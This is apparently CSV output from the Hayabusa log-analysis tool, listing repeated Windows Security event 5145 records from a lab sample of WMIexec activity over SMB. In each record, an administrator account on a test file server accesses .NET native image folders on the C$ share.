10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio53a7a42c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio53a7a42c#\373b26e93f287f3cda45a6282a1de0d3 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio080b339b# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio080b339b#\9551a2df153a961cbbcb79bca937a833 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio84a7b877# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio84a7b877#\db7fe97a2a840dcc0278f7af89ea7fbe : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio84a6349c# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatio84a6349c#\be1a119716bb1de8469b568ec9e31d9c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatioaec034ca# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.378 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatioaec034ca#\e1c86f334a29d92ca264950085cd817e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatiob3047ded# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatiob3047ded#\8bda9cd4f7d015f685bae38300b2c281 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatiod51afaa5# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\Presentatiod51afaa5#\276763baa173e2b94a6318e28594e7ee : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\619034abb9a9fb1b3dc32c0a9aa38d3c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\PresentationUI : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.395 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\PresentationUI\e4b5f01da74352b18e1dffd68b611367 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ReachFramework : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\ReachFramework\8a1ed041bc25980a548a96cf4b78f4b6 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SecurityAudf6921413# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SecurityAudf6921413#\6f2318339b6bd916c3c62b95c91b305d : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SMDiagnostics : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SMDiagnostics\352d34797f7cd44cd0973c33539200f1 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SMSvcHost : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SMSvcHost\a4c49e23c0c23b5db4c663738eac897e : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SrpUxSnapIn : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\SrpUxSnapIn\d82382933ba69165a4398eba2fb6c0b2 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.411 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.426 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System\c24d08cc4e93fc4f6f15a637b00a2721 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.426 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Acti31fd6628# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.426 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Acti31fd6628#\1a6ec0d19dfcc35f62014ff3602e6a54 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Acti2661942e# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Acti2661942e#\86d8003fea61ae88dd34584f08a9393c : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Actif3565cbd# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Actif3565cbd#\a6af57d6c4eee4a8e0165604baa15b61 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Activities : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.443 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Activities\16738205fa35676f5eda6d7d70169936 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.AddI3d71a354# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.AddI3d71a354#\0a1d9187e911a67185317ffa7ee40ef0 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.AddIn : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.AddIn\14b968adbdb2082b1b938b20b5cb24b5 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Comp7dda8007# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.458 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Comp7dda8007#\10dd4c410de361a8ee03b5b7c662ccc9 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Comp46f2b404# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Comp46f2b404#\7845e0cf7da2edf653fbcc126cda2f48 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Compba577418# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Compba577418#\9db094774e9db914aedfcad797c955d7 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.475 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051# : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\c8152fae930d6b5e4dd5323561626549 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\c5bf2f5c3e13726b3984a900221e1778 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Core : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Core\c1194e56644c7688e7eb0f68a57dcc30 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data\8a7f63a63249ceccb5c51a9a372aaf64 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Entity : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 +09:00,fs03vuln.offsec.lan,5145,informational,Network Share File Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\NativeImages_v4.0.30319_32\System.Data.Entity\9332198f4736c780facfd62fead6fa26 : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0002-Execution/T1047-Windows Management Instrumentation/ID4688-5145-WMIexec execution via SMB.evtx +2021-04-22 20:32:30.491 